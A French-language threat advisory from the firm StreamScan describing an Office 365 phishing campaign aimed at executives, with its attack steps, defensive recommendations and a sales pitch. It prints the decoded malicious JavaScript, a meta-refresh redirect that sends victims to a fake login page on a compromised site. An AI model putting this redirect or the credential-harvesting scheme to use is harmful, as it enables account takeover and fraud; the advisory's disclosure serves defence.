STREAMSCAN
Cybersécurité pour
les moyennes entreprises

CAMPAGNE D'HAMEÇONNAGE OFFICE 365

MARS 2020 //

À propos de StreamScan

StreamScan est une firme spécialisée dans la sécurité opérationnelle dans le secteur manufacturier et les infrastructures critiques. Nous développons de nouvelles solutions de cybersécurité basées sur l'intelligence artificielle (manufacturier, industrie 4.0, chaîne de transformation, etc.). Nos experts assistent également les organisations victimes de cyberattaques afin d'éradiquer en profondeur la source de l'incident. Nous proposons des solutions concrètes de surveillance pour rehausser la cybersécurité des organisations :

Technologie CDS

La technologie CDS prend le relais là où la sécurité du périmètre s'arrête. Elle fournit une analyse approfondie et en continue du trafic réseau afin de détecter les attaques informatiques en temps réel.

Détections et réponses gérées

La cybersécurité requiert le savoir-faire d'experts. Afin de repousser toutes tentatives de piratage et d'identifier les vulnérabilités, nos spécialistes surveillent les réseaux informatiques d'entreprises 24 h/24, 7 j/7.

Réponse aux incidents

Une équipe d'experts prêts à intervenir 24 h/24, 7 j/7 en cas d'attaque informatique. Nous reprenons le contrôle rapidement.

Service-Conseil

De la gouvernance jusqu'aux mesures techniques, nos experts vous accompagnent dans la mise en place de votre plan stratégique du rehaussement des pratiques de sécurité.

Bilan de santé

Le bilan de santé permet d'évaluer le niveau de maturité et l'efficacité des mesures de sécurité mises en place par une organisation

Test d’intrusion

Il permet d'identifier les failles de sécurité pouvant être exploitées par un pirate informatique. Le test est pratiqué sur des sites web, des serveurs, des applications, des robots, etc.

Introduction

Le centre de supervision à distance de la sécurité de StreamScan a récemment observé une campagne d'hameçonnage dont l'objectif était de prendre le contrôle de boîtes de courriels Office dans votre cloud. Heureusement, le sous-site malicieux a été démantelé, mais n'empêche que des cas d'hameçonnage très similaire peuvent survenir à tout moment.

La description du cas

Les pirates ont utilisé un moyen pernicieux pour accéder à la boîte de courriel de l'utilisateur. Ensuite, ils ont fait suivre les courriels de la victime vers une boîte de courriels externe de type Gmail. Ceci leur a permis d'intercepter des documents confidentiels ou d'identifier les communications avec des personnes d'intérêt en vue de réaliser des fraudes.

Les cibles observées :

Dans la plupart des cas observés, les cibles étaient des membres de la haute direction. Ceci laisse croire que les pirates choisissent leurs cibles et se renseignant sur elles avant même de lancer leur attaque.

Les **étapes** utilisées par les pirates pour prendre le contrôle des boîtes de courriel via hameçonnage ont été les suivants :

1 – Le courriel d'hameçonnage contenait un lien vers un fichier malicieux nommé *AudioMessage_xxxxx.htm*. Le logo laissait croire que c'était un audio, ce qui n'était pas le cas.

À ce moment, nous avions analysé l'un de ces fichiers et il avait été identifié comme étant douteux par seulement deux antivirus (sur 58).

À noter : aucun antivirus connu du marché n'avait été capable de l'identifier comme étant malicieux.

2 – Lorsque l'utilisateur cliquait sur le chiffrier joint (en pensant écouter un audio), un programme malicieux de type script JAVASCRIPT s'exécutait sur son ordinateur. Ce programme informatique était encodé pour le rendre difficilement détectable.

La version décodée du JAVASCRIPT malicieux était la suivante :

<script language="javascript">document.write(unescape('<meta

http-equiv="refresh"

content="1;url=https://www.fairfaxpavingpros.com/wp-includes/jex/rreexx/votre_adresse_de_courriel">'));</script>

Nous avions vérifié le degré de malice du site https://www.fairfaxpavingpros.com sur Virustotal et il était considéré comme étant sain.

3- Cependant, lorsque nous reproduisions le scénario en saisissant directement l'URL avec une adresse de courriel, nous constations que l'utilisateur était redirigé vers un site malicieux qui ressemble à celui d'Office 365 dans le *cloud*. De plus, le logo de votre entreprise apparaissait, ce qui avait pour objectif de vous rassurer…

Lorsque vous saisissiez votre mot de passe, les pirates l'interceptaient.

Ainsi, ils pouvaient ensuite accéder facilement à votre boîte de courriels Office 365 et créer une règle qui transfère vos courriels vers une boîte malicieuse. Puisqu'ils ont accès à votre mot de passe, ils peuvent aussi envoyer des courriels en votre nom et tenter de réaliser des fraudes.

Un utilisateur non sensibilisé aux risques de sécurité pourrait facilement être la cible d'une telle attaque.

NOS RECOMMANDATIONS

· Vérifier les règles de transfert de courriels en place dans votre entreprise afin de vous assurer qu'il n'y a pas de transferts douteux vers des boîtes de courriels gratuites de type Gmail ou autres.

· Sensibiliser vos utilisateurs, notamment les membres de la haute direction sur les risques d'hameçonnage.

StreamScan Détection et Réponse Gérées conçues pour vous

Cet article vous a été présenté par StreamScan. Notre solution de détection et réponse gérées (DRG) combine notre technologie innovante CDS et le soutien de notre équipe de pirates éthiques pour fournir la sécurité réseau dont votre organisation a besoin, à un coût nettement inférieur à celui des frais de licence des logiciels ou de la constitution d'une équipe de sécurité interne.

Contactez notre équipe de spécialistes en cybersécurité et planifiez une démo pour découvrir comment StreamScan MDR peut vous aider à protéger votre entreprise ou votre organisation.

Contactez notre équipe de spécialistes en cybersécurité et planifiez une démo pour découvrir comment le DRG de StreamScan peut vous aider à protéger votre entreprise ou votre organisation.

Courriel : demo@streamscan.ai

Téléphone : +1 (650) 264-9702

www.streamscan.ai